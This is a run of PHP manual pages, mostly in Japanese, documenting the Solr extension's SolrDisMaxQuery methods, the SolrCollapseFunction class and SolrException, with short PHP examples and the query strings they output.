SolrDisMaxQuery::removeUserField

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::removeUserField — Removes a field from The User Fields Parameter (uf)

説明

public SolrDisMaxQuery::removeUserField ( string $field ) : SolrDisMaxQuery

Removes a field from The User Fields Parameter (uf)

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

field

Field Name

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::removeUserField() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addUserField('cat')
->addUserField('text')
->addUserField('*_dt')
;
echo $dismaxQuery.PHP_EOL;

// remove field named 'text'
$dismaxQuery
->removeUserField('text');
echo $dismaxQuery.PHP_EOL;

?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=%s&uf=cat text *_dt
q=lucene&defType=%s&uf=cat *_dt

参考

  • SolrDisMaxQuery::addUserField() - Adds a field to User Fields Parameter (uf)
  • SolrDisMaxQuery::setUserFields() - Sets User Fields parameter (uf)

User Contributed Notes

There are no user contributed notes for this page.


Sets Bigram Phrase Fields and their boosts (and slops) using pf2 parameter

  • ≪ SolrDisMaxQuery::removeUserField
  • SolrDisMaxQuery::setBigramPhraseSlop ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Sets Bigram Phrase Fields and their boosts (and slops) using pf2 parameter

SolrDisMaxQuery::setBigramPhraseFields

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::setBigramPhraseFields — Sets Bigram Phrase Fields and their boosts (and slops) using pf2 parameter

説明

public SolrDisMaxQuery::setBigramPhraseFields ( string $fields ) : SolrDisMaxQuery

Sets Bigram Phrase Fields (pf2) and their boosts (and slops)

パラメータ

fields

Fields boosts (slops)

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::setBigramPhraseFields() example

<?php
$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery->setBigramPhraseFields("cat~5.1^2 feature^4.5");
echo $dismaxQuery.PHP_EOL;

?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&pf2=cat~5.1^2 feature^4.5

参考

  • SolrDisMaxQuery::setBigramPhraseSlop() - Sets Bigram Phrase Slop (ps2 parameter)
  • SolrDisMaxQuery::addBigramPhraseFields()
  • SolrDisMaxQuery::removeBigramPhraseField() - Removes phrase bigram field (pf2 parameter)
  • SolrDisMaxQuery::setTrigramPhraseFields() - Directly Sets Trigram Phrase Fields (pf3 parameter)

User Contributed Notes

There are no user contributed notes for this page.


Sets Bigram Phrase Slop (ps2 parameter)

  • ≪ SolrDisMaxQuery::setBigramPhraseFields
  • SolrDisMaxQuery::setBoostFunction ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Sets Bigram Phrase Slop (ps2 parameter)

SolrDisMaxQuery::setBigramPhraseSlop

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::setBigramPhraseSlop — Sets Bigram Phrase Slop (ps2 parameter)

説明

public SolrDisMaxQuery::setBigramPhraseSlop ( string $slop ) : SolrDisMaxQuery

Sets Bigram Phrase Slop (ps2 parameter). A default slop for Bigram phrase fields.

パラメータ

slop

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::setBigramPhraseSlop() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');

$dismaxQuery->setBigramPhraseSlop(5);
echo $dismaxQuery.PHP_EOL;

?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&ps2=5

参考

User Contributed Notes

There are no user contributed notes for this page.


Sets a Boost Function (bf parameter)

  • ≪ SolrDisMaxQuery::setBigramPhraseSlop
  • SolrDisMaxQuery::setBoostQuery ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Sets a Boost Function (bf parameter)

SolrDisMaxQuery::setBoostFunction

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::setBoostFunction — Sets a Boost Function (bf parameter)

説明

public SolrDisMaxQuery::setBoostFunction ( string $function ) : SolrDisMaxQuery

Sets Boost Function (bf parameter).

Functions (with optional boosts) that will be included in the user's query to influence the score. Any function supported natively by Solr can be used, along with a boost value. e.g.:

recip(rord(myfield),1,2,3)^1.5

パラメータ

function

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::setBoostFunction() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');

$boostRecentDocsFunction = "recip(ms(NOW,mydatefield),3.16e-11,1,1)";
$dismaxQuery->setBoostFunction($boostRecentDocsFunction);

echo $dismaxQuery.PHP_EOL;

?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&bf=recip(ms(NOW,mydatefield),3.16e-11,1,1)

参考

User Contributed Notes

There are no user contributed notes for this page.


Directly Sets Boost Query Parameter (bq)

  • ≪ SolrDisMaxQuery::setBoostFunction
  • SolrDisMaxQuery::setMinimumMatch ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Directly Sets Boost Query Parameter (bq)

SolrDisMaxQuery::setBoostQuery

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::setBoostQuery — Directly Sets Boost Query Parameter (bq)

説明

public SolrDisMaxQuery::setBoostQuery ( string $q ) : SolrDisMaxQuery

Sets Boost Query Parameter (bq)

パラメータ

q

query

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::setBoostQuery() example

<?php
$dismaxQuery = new SolrDisMaxQuery("lucene");

$dismaxQuery->setBoostQuery('cat:electronics manu:local^2');
echo $dismaxQuery.PHP_EOL;
?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&bq=cat:electronics manu:local^2

参考

  • SolrDisMaxQuery::addBoostQuery() - Adds a boost query field with value and optional boost (bq parameter)
  • SolrDisMaxQuery::removeBoostQuery() - Removes a boost query partial by field name (bq)

User Contributed Notes

There are no user contributed notes for this page.


Set Minimum "Should" Match (mm)

  • ≪ SolrDisMaxQuery::setBoostQuery
  • SolrDisMaxQuery::setPhraseFields ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Set Minimum "Should" Match (mm)

SolrDisMaxQuery::setMinimumMatch

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::setMinimumMatch — Set Minimum "Should" Match (mm)

説明

public SolrDisMaxQuery::setMinimumMatch ( string $value ) : SolrDisMaxQuery

Set Minimum "Should" Match parameter (mm). If the default query operator is AND then mm=100%, if the default query operator (q.op) is OR, then mm=0%.

パラメータ

value

Minimum match value/expression

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::setMinimumMatch() example

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
// 75% of the query clauses must match
$dismaxQuery->setMinimumMatch("75%");
echo $dismaxQuery . PHP_EOL;

?>

上の例の出力は以下となります。

q=lucene&defType=edismax&mm=75%

User Contributed Notes

There are no user contributed notes for this page.


Sets Phrase Fields and their boosts (and slops) using pf2 parameter

  • ≪ SolrDisMaxQuery::setMinimumMatch
  • SolrDisMaxQuery::setPhraseSlop ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Sets Phrase Fields and their boosts (and slops) using pf2 parameter

SolrDisMaxQuery::setPhraseFields

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::setPhraseFields — Sets Phrase Fields and their boosts (and slops) using pf2 parameter

説明

public SolrDisMaxQuery::setPhraseFields ( string $fields ) : SolrDisMaxQuery

Sets Phrase Fields (pf) and their boosts (and slops)

パラメータ

fields

Fields, boosts [, slops]

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::setPhraseFields() example

<?php
$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery->setPhraseFields("cat~5.1^2 feature^4.5");
echo $dismaxQuery.PHP_EOL;

?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&pf=cat~5.1^2 feature^4.5

参考

  • SolrDisMaxQuery::addPhraseFields()
  • SolrDisMaxQuery::removePhraseField() - Removes a Phrase Field (pf parameter)

User Contributed Notes

There are no user contributed notes for this page.


Sets the default slop on phrase queries (ps parameter)

  • ≪ SolrDisMaxQuery::setPhraseFields
  • SolrDisMaxQuery::setQueryAlt ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Sets the default slop on phrase queries (ps parameter)

SolrDisMaxQuery::setPhraseSlop

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::setPhraseSlop — Sets the default slop on phrase queries (ps parameter)

説明

public SolrDisMaxQuery::setPhraseSlop ( string $slop ) : SolrDisMaxQuery

Sets the default amount of slop on phrase queries built with "pf", "pf2" and/or "pf3" fields (affects boosting). "ps" parameter

パラメータ

slop

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::setPhraseSlop() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');

$dismaxQuery->setPhraseSlop(4);
echo $dismaxQuery.PHP_EOL;

?>

上の例の出力は以下となります。

q=lucene&defType=edismax&ps=4

参考

User Contributed Notes

There are no user contributed notes for this page.


Set Query Alternate (q.alt parameter)

  • ≪ SolrDisMaxQuery::setPhraseSlop
  • SolrDisMaxQuery::setQueryPhraseSlop ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Set Query Alternate (q.alt parameter)

SolrDisMaxQuery::setQueryAlt

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::setQueryAlt — Set Query Alternate (q.alt parameter)

説明

public SolrDisMaxQuery::setQueryAlt ( string $q ) : SolrDisMaxQuery

Set Query Alternate (q.alt parameter)

When the main q parameter is not specified or is blank. The q.alt parameter is used

パラメータ

q

Query String

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::setQueryAlt() example

<?php

$dismaxQuery = new DisMaxQuery();
$dismaxQuery->setQueryAlt('*:*');

?>

上の例の出力は、 たとえば以下のようになります。

defType=edismax&q.alt=*:*&q=

User Contributed Notes

There are no user contributed notes for this page.


Specifies the amount of slop permitted on phrase queries explicitly included in the user's query string (qf parameter)

  • ≪ SolrDisMaxQuery::setQueryAlt
  • SolrDisMaxQuery::setTieBreaker ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Specifies the amount of slop permitted on phrase queries explicitly included in the user's query string (qf parameter)

SolrDisMaxQuery::setQueryPhraseSlop

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::setQueryPhraseSlop — Specifies the amount of slop permitted on phrase queries explicitly included in the user's query string (qf parameter)

説明

public SolrDisMaxQuery::setQueryPhraseSlop ( string $slop ) : SolrDisMaxQuery

The Query Phrase Slop is the amount of slop permitted on phrase queries explicitly included in the user's query string with the qf parameter.

slop refers to the number of positions one token needs to be moved in relation to another token in order to match a phrase specified in a query.

パラメータ

slop

Amount of slop

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::setQueryPhraseSlop() example

<?php

$dismaxQuery = new SolrDisMaxQuery();
$dismaxQuery->setQueryPhraseSlop(3);
echo $dismaxQuery;
?>

上の例の出力は、 たとえば以下のようになります。

defType=edismax&qs=3

User Contributed Notes

There are no user contributed notes for this page.


Sets Tie Breaker parameter (tie parameter)

  • ≪ SolrDisMaxQuery::setQueryPhraseSlop
  • SolrDisMaxQuery::setTrigramPhraseFields ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Sets Tie Breaker parameter (tie parameter)

SolrDisMaxQuery::setTieBreaker

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::setTieBreaker — Sets Tie Breaker parameter (tie parameter)

説明

public SolrDisMaxQuery::setTieBreaker ( string $tieBreaker ) : SolrDisMaxQuery

Sets Tie Breaker parameter (tie parameter)

パラメータ

tieBreaker

The tie parameter specifies a float value (which should be something much less than 1) to use as tiebreaker in DisMax queries.

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::setTieBreaker() example

<?php

$dismaxQuery = new SolrDisMaxQuery();
$dismaxQuery->setTieBreaker(0.1);

echo $dismaxQuery;

?>

上の例の出力は以下となります。

defType=edismax&tie=0.1

User Contributed Notes

There are no user contributed notes for this page.


Directly Sets Trigram Phrase Fields (pf3 parameter)

  • ≪ SolrDisMaxQuery::setTieBreaker
  • SolrDisMaxQuery::setTrigramPhraseSlop ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Directly Sets Trigram Phrase Fields (pf3 parameter)

SolrDisMaxQuery::setTrigramPhraseFields

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::setTrigramPhraseFields — Directly Sets Trigram Phrase Fields (pf3 parameter)

説明

public SolrDisMaxQuery::setTrigramPhraseFields ( string $fields ) : SolrDisMaxQuery

Directly Sets Trigram Phrase Fields (pf3 parameter)

パラメータ

fields

Trigram Phrase Fields

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::setTrigramPhraseFields() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery->setTrigramPhraseFields('cat~5.1^2 feature^4.5');
echo $dismaxQuery.PHP_EOL;

?>

上の例の出力は以下となります。

q=lucene&defType=edismax&pf3=cat~5.1^2 feature^4.5

参考

  • SolrDisMaxQuery::addTrigramPhraseField() - Adds a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::removeTrigramPhraseField() - Removes a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::setTrigramPhraseSlop() - Sets Trigram Phrase Slop (ps3 parameter)

User Contributed Notes

There are no user contributed notes for this page.


Sets Trigram Phrase Slop (ps3 parameter)

  • ≪ SolrDisMaxQuery::setTrigramPhraseFields
  • SolrDisMaxQuery::setUserFields ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Sets Trigram Phrase Slop (ps3 parameter)

SolrDisMaxQuery::setTrigramPhraseSlop

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::setTrigramPhraseSlop — Sets Trigram Phrase Slop (ps3 parameter)

説明

public SolrDisMaxQuery::setTrigramPhraseSlop ( string $slop ) : SolrDisMaxQuery

Sets Trigram Phrase Slop (ps3 parameter)

パラメータ

slop

Phrase slop

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::setTrigramPhraseSlop() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery->setTrigramPhraseSlop(2);
echo $dismaxQuery.PHP_EOL;

?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&ps3=2

参考

  • SolrDisMaxQuery::addTrigramPhraseField() - Adds a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::removeTrigramPhraseField() - Removes a Trigram Phrase Field (pf3 parameter)
  • SolrDisMaxQuery::setTrigramPhraseFields() - Directly Sets Trigram Phrase Fields (pf3 parameter)

User Contributed Notes

There are no user contributed notes for this page.


Sets User Fields parameter (uf)

  • ≪ SolrDisMaxQuery::setTrigramPhraseSlop
  • SolrDisMaxQuery::useDisMaxQueryParser ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Sets User Fields parameter (uf)

SolrDisMaxQuery::setUserFields

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::setUserFields — Sets User Fields parameter (uf)

説明

public SolrDisMaxQuery::setUserFields ( string $fields ) : SolrDisMaxQuery

Sets User Fields parameter (uf)

User Fields: Specifies which schema fields the end user shall be allowed to query.

パラメータ

fields

Fields names separated by space

This parameter supports wildcards.

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::setUserFields() example

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery->setUserFields('field1 field2 *_txt');
echo $dismaxQuery.PHP_EOL;

?>

上の例の出力は、 たとえば以下のようになります。

q=lucene&defType=edismax&uf=field1 field2 *_txt

参考

  • SolrDisMaxQuery::addUserField() - Adds a field to User Fields Parameter (uf)
  • SolrDisMaxQuery::removeUserField() - Removes a field from The User Fields Parameter (uf)

User Contributed Notes

There are no user contributed notes for this page.


Switch QueryParser to be DisMax Query Parser

  • ≪ SolrDisMaxQuery::setUserFields
  • SolrDisMaxQuery::useEDisMaxQueryParser ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Switch QueryParser to be DisMax Query Parser

SolrDisMaxQuery::useDisMaxQueryParser

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::useDisMaxQueryParser — Switch QueryParser to be DisMax Query Parser

説明

public SolrDisMaxQuery::useDisMaxQueryParser ( ) : SolrDisMaxQuery

Switch QueryParser to be DisMax Query Parser

パラメータ

この関数にはパラメータはありません。

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::useDisMaxQueryParser() example

<?php

$dismaxQuery = new SolrDisMaxQuery();
$dismaxQuery->useDisMaxQueryParser();
echo $dismaxQuery;
?>

上の例の出力は、 たとえば以下のようになります。

defType=dismax

参考

  • SolrDisMaxQuery::useDisMaxQueryParser()

User Contributed Notes

There are no user contributed notes for this page.


Switch QueryParser to be EDisMax

  • ≪ SolrDisMaxQuery::useDisMaxQueryParser
  • SolrCollapseFunction ≫
  • PHP Manual
  • SolrDisMaxQuery
  • Switch QueryParser to be EDisMax

SolrDisMaxQuery::useEDisMaxQueryParser

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SolrDisMaxQuery::useEDisMaxQueryParser — Switch QueryParser to be EDisMax

説明

public SolrDisMaxQuery::useEDisMaxQueryParser ( ) : SolrDisMaxQuery

Switch QueryParser to be EDisMax. By default the query builder uses edismax, if it was switched using SolrDisMaxQuery::useDisMaxQueryParser(), it can be switched back using this method.

パラメータ

この関数にはパラメータはありません。

返り値

SolrDisMaxQuery

例

例1 SolrDisMaxQuery::useEDisMaxQueryParser() example

<?php

$dismaxQuery = new SolrDisMaxQuery();
$dismaxQuery->useEDisMaxQueryParser();
echo $dismaxQuery;

?>

上の例の出力は、 たとえば以下のようになります。

defType=edismax

参考

User Contributed Notes

There are no user contributed notes for this page.


The SolrCollapseFunction class

(PECL solr >= 2.2.0)

はじめに

クラス概要

SolrCollapseFunction {
/* Constants */
const string NULLPOLICY_IGNORE = ignore ;
const string NULLPOLICY_EXPAND = expand ;
const string NULLPOLICY_COLLAPSE = collapse ;
/* メソッド */
public __construct ( string $field = ? )
public getField ( ) : string
public getHint ( ) : string
public getMax ( ) : string
public getMin ( ) : string
public getNullPolicy ( ) : string
public getSize ( ) : int
public setField ( string $fieldName ) : SolrCollapseFunction
public setHint ( string $hint ) : SolrCollapseFunction
public setMax ( string $max ) : SolrCollapseFunction
public setMin ( string $min ) : SolrCollapseFunction
public setNullPolicy ( string $nullPolicy ) : SolrCollapseFunction
public setSize ( int $size ) : SolrCollapseFunction
public __toString ( ) : string
}

定義済み定数

SolrCollapseFunction::NULLPOLICY_IGNORE

SolrCollapseFunction::NULLPOLICY_EXPAND

SolrCollapseFunction::NULLPOLICY_COLLAPSE

目次

  • SolrCollapseFunction::__construct — Constructor
  • SolrCollapseFunction::getField — Returns the field that is being collapsed on
  • SolrCollapseFunction::getHint — Returns collapse hint
  • SolrCollapseFunction::getMax — Returns max parameter
  • SolrCollapseFunction::getMin — Returns min parameter
  • SolrCollapseFunction::getNullPolicy — Returns null policy
  • SolrCollapseFunction::getSize — Returns size parameter
  • SolrCollapseFunction::setField — Sets the field to collapse on
  • SolrCollapseFunction::setHint — Sets collapse hint
  • SolrCollapseFunction::setMax — Selects the group heads by the max value of a numeric field or function query
  • SolrCollapseFunction::setMin — Sets the initial size of the collapse data structures when collapsing on a numeric field only
  • SolrCollapseFunction::setNullPolicy — Sets the NULL Policy
  • SolrCollapseFunction::setSize — Sets the initial size of the collapse data structures when collapsing on a numeric field only
  • SolrCollapseFunction::__toString — Returns a string representing the constructed collapse function

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ≪ SolrCollapseFunction
  • SolrCollapseFunction::getField ≫
  • PHP Manual
  • SolrCollapseFunction
  • Constructor

SolrCollapseFunction::__construct

(PECL solr >= 2.2.0)

SolrCollapseFunction::__construct — Constructor

説明

public SolrCollapseFunction::__construct ( string $field = ? )

Collapse Function constructor

パラメータ

field

The field name to collapse on.

In order to collapse a result. The field type must be a single valued String, Int or Float.

例

例1 SolrCollapseFunction::__construct() example

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
    'path'     => SOLR_SERVER_PATH
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$func = new SolrCollapseFunction('field_name');

$func->setMax('sum(cscore(),field(some_other_field))');
$func->setSize(100);
$func->setNullPolicy(SolrCollapseFunction::NULLPOLICY_EXPAND);

$query->collapse($func);

$queryResponse = $client->query($query);

$response = $queryResponse->getResponse();

print_r($response);

?>

参考

  • SolrQuery::collapse() - Collapses the result set to a single document per group

User Contributed Notes

There are no user contributed notes for this page.


Returns the field that is being collapsed on

  • ≪ SolrCollapseFunction::__construct
  • SolrCollapseFunction::getHint ≫
  • PHP Manual
  • SolrCollapseFunction
  • Returns the field that is being collapsed on

SolrCollapseFunction::getField

(PECL solr >= 2.2.0)

SolrCollapseFunction::getField — Returns the field that is being collapsed on

説明

public SolrCollapseFunction::getField ( ) : string

Returns the field that is being collapsed on.

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrCollapseFunction::setField() - Sets the field to collapse on

User Contributed Notes

There are no user contributed notes for this page.


Returns collapse hint

  • ≪ SolrCollapseFunction::getField
  • SolrCollapseFunction::getMax ≫
  • PHP Manual
  • SolrCollapseFunction
  • Returns collapse hint

SolrCollapseFunction::getHint

(PECL solr >= 2.2.0)

SolrCollapseFunction::getHint — Returns collapse hint

説明

public SolrCollapseFunction::getHint ( ) : string

Returns collapse hint

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrCollapseFunction::setHint() - Sets collapse hint

User Contributed Notes

There are no user contributed notes for this page.


Returns max parameter

  • ≪ SolrCollapseFunction::getHint
  • SolrCollapseFunction::getMin ≫
  • PHP Manual
  • SolrCollapseFunction
  • Returns max parameter

SolrCollapseFunction::getMax

(PECL solr >= 2.2.0)

SolrCollapseFunction::getMax — Returns max parameter

説明

public SolrCollapseFunction::getMax ( ) : string

Returns max parameter

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrCollapseFunction::setMax() - Selects the group heads by the max value of a numeric field or function query

User Contributed Notes

There are no user contributed notes for this page.


Returns min parameter

  • ≪ SolrCollapseFunction::getMax
  • SolrCollapseFunction::getNullPolicy ≫
  • PHP Manual
  • SolrCollapseFunction
  • Returns min parameter

SolrCollapseFunction::getMin

(PECL solr >= 2.2.0)

SolrCollapseFunction::getMin — Returns min parameter

説明

public SolrCollapseFunction::getMin ( ) : string

Returns min parameter

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrCollapseFunction::setMin() - Sets the initial size of the collapse data structures when collapsing on a numeric field only

User Contributed Notes

There are no user contributed notes for this page.


Returns null policy

  • ≪ SolrCollapseFunction::getMin
  • SolrCollapseFunction::getSize ≫
  • PHP Manual
  • SolrCollapseFunction
  • Returns null policy

SolrCollapseFunction::getNullPolicy

(PECL solr >= 2.2.0)

SolrCollapseFunction::getNullPolicy — Returns null policy

説明

public SolrCollapseFunction::getNullPolicy ( ) : string

Returns null policy used or null

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrCollapseFunction::setNullPolicy() - Sets the NULL Policy

User Contributed Notes

There are no user contributed notes for this page.


Returns size parameter

  • ≪ SolrCollapseFunction::getNullPolicy
  • SolrCollapseFunction::setField ≫
  • PHP Manual
  • SolrCollapseFunction
  • Returns size parameter

SolrCollapseFunction::getSize

(PECL solr >= 2.2.0)

SolrCollapseFunction::getSize — Returns size parameter

説明

public SolrCollapseFunction::getSize ( ) : int

Gets the initial size of the collapse data structures when collapsing on a numeric field only

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrCollapseFunction::setSize() - Sets the initial size of the collapse data structures when collapsing on a numeric field only

User Contributed Notes

There are no user contributed notes for this page.


Sets the field to collapse on

  • ≪ SolrCollapseFunction::getSize
  • SolrCollapseFunction::setHint ≫
  • PHP Manual
  • SolrCollapseFunction
  • Sets the field to collapse on

SolrCollapseFunction::setField

(PECL solr >= 2.2.0)

SolrCollapseFunction::setField — Sets the field to collapse on

説明

public SolrCollapseFunction::setField ( string $fieldName ) : SolrCollapseFunction

The field name to collapse on. In order to collapse a result. The field type must be a single valued String, Int or Float.

パラメータ

fieldName

返り値

SolrCollapseFunction

User Contributed Notes

There are no user contributed notes for this page.


Sets collapse hint

  • ≪ SolrCollapseFunction::setField
  • SolrCollapseFunction::setMax ≫
  • PHP Manual
  • SolrCollapseFunction
  • Sets collapse hint

SolrCollapseFunction::setHint

(PECL solr >= 2.2.0)

SolrCollapseFunction::setHint — Sets collapse hint

説明

public SolrCollapseFunction::setHint ( string $hint ) : SolrCollapseFunction

Sets collapse hint

パラメータ

hint

Currently there is only one hint available "top_fc", which stands for top level FieldCache

返り値

SolrCollapseFunction

例

例1 SolrCollapseFunction::setHint() example

<?php

/* ... */

?>

上の例の出力は、 たとえば以下のようになります。

...

User Contributed Notes

There are no user contributed notes for this page.


Selects the group heads by the max value of a numeric field or function query

  • ≪ SolrCollapseFunction::setHint
  • SolrCollapseFunction::setMin ≫
  • PHP Manual
  • SolrCollapseFunction
  • Selects the group heads by the max value of a numeric field or function query

SolrCollapseFunction::setMax

(PECL solr >= 2.2.0)

SolrCollapseFunction::setMax — Selects the group heads by the max value of a numeric field or function query

説明

public SolrCollapseFunction::setMax ( string $max ) : SolrCollapseFunction

Selects the group heads by the max value of a numeric field or function query.

パラメータ

max

返り値

SolrCollapseFunction

例

例1 SolrCollapseFunction::setMax() example

<?php

$func = new SolrCollapseFunction('field_name');

$func->setMax('sum(cscore(),field(some_field))');

$query = new SolrQuery('*:*');

$query->collapse($func);

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the initial size of the collapse data structures when collapsing on a numeric field only

  • ≪ SolrCollapseFunction::setMax
  • SolrCollapseFunction::setNullPolicy ≫
  • PHP Manual
  • SolrCollapseFunction
  • Sets the initial size of the collapse data structures when collapsing on a numeric field only

SolrCollapseFunction::setMin

(PECL solr >= 2.2.0)

SolrCollapseFunction::setMin — Sets the initial size of the collapse data structures when collapsing on a numeric field only

説明

public SolrCollapseFunction::setMin ( string $min ) : SolrCollapseFunction

Sets the initial size of the collapse data structures when collapsing on a numeric field only

パラメータ

min

返り値

SolrCollapseFunction

User Contributed Notes

There are no user contributed notes for this page.


Sets the NULL Policy

  • ≪ SolrCollapseFunction::setMin
  • SolrCollapseFunction::setSize ≫
  • PHP Manual
  • SolrCollapseFunction
  • Sets the NULL Policy

SolrCollapseFunction::setNullPolicy

(PECL solr >= 2.2.0)

SolrCollapseFunction::setNullPolicy — Sets the NULL Policy

説明

public SolrCollapseFunction::setNullPolicy ( string $nullPolicy ) : SolrCollapseFunction

Sets the NULL Policy. One of the 3 policies defined as class constants shall be passed. Accepts ignore, expand, or collapse policies.

パラメータ

nullPolicy

返り値

SolrCollapseFunction

User Contributed Notes

There are no user contributed notes for this page.


Sets the initial size of the collapse data structures when collapsing on a numeric field only

  • ≪ SolrCollapseFunction::setNullPolicy
  • SolrCollapseFunction::__toString ≫
  • PHP Manual
  • SolrCollapseFunction
  • Sets the initial size of the collapse data structures when collapsing on a numeric field only

SolrCollapseFunction::setSize

(PECL solr >= 2.2.0)

SolrCollapseFunction::setSize — Sets the initial size of the collapse data structures when collapsing on a numeric field only

説明

public SolrCollapseFunction::setSize ( int $size ) : SolrCollapseFunction

Sets the initial size of the collapse data structures when collapsing on a numeric field only.

パラメータ

size

返り値

SolrCollapseFunction

User Contributed Notes

There are no user contributed notes for this page.


Returns a string representing the constructed collapse function

  • ≪ SolrCollapseFunction::setSize
  • SolrException ≫
  • PHP Manual
  • SolrCollapseFunction
  • Returns a string representing the constructed collapse function

SolrCollapseFunction::__toString

(PECL solr >= 2.2.0)

SolrCollapseFunction::__toString — Returns a string representing the constructed collapse function

説明

public SolrCollapseFunction::__toString ( ) : string

Returns a string representing the constructed collapse function

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


SolrException クラス

(PECL solr >= 0.9.2)

はじめに

これは、Solr エクステンションクラスによってスローされる全ての例外に対する基底クラスです。

クラス概要

SolrException extends Exception {
/* プロパティ */
protected int $sourceline ;
protected string $sourcefile ;
protected string $zif_name ;
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* メソッド */
public getInternalInfo ( ) : array
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

プロパティ

sourceline

例外が生成された、カーネル空間の PHP ソースファイルの行

sourcefile

例外が生成された、カーネル空間の PHP ソースファイル

zif_name

例外が生成された、カーネル空間の関数

目次

  • SolrException::getInternalInfo — 例外がスローされた際の内部情報を返す

User Contributed Notes

There are no user contributed notes for this page.


例外がスローされた際の内部情報を返す

  • ≪ SolrException
  • SolrClientException ≫
  • PHP Manual
  • SolrException
  • 例外がスローされた際の内部情報を返す

SolrException::getInternalInfo

(PECL solr >= 0.9.2)

SolrException::getInternalInfo — 例外がスローされた際の内部情報を返す

説明

public SolrException::getInternalInfo ( ) : array

例外がスローされた際の内部情報を返します。

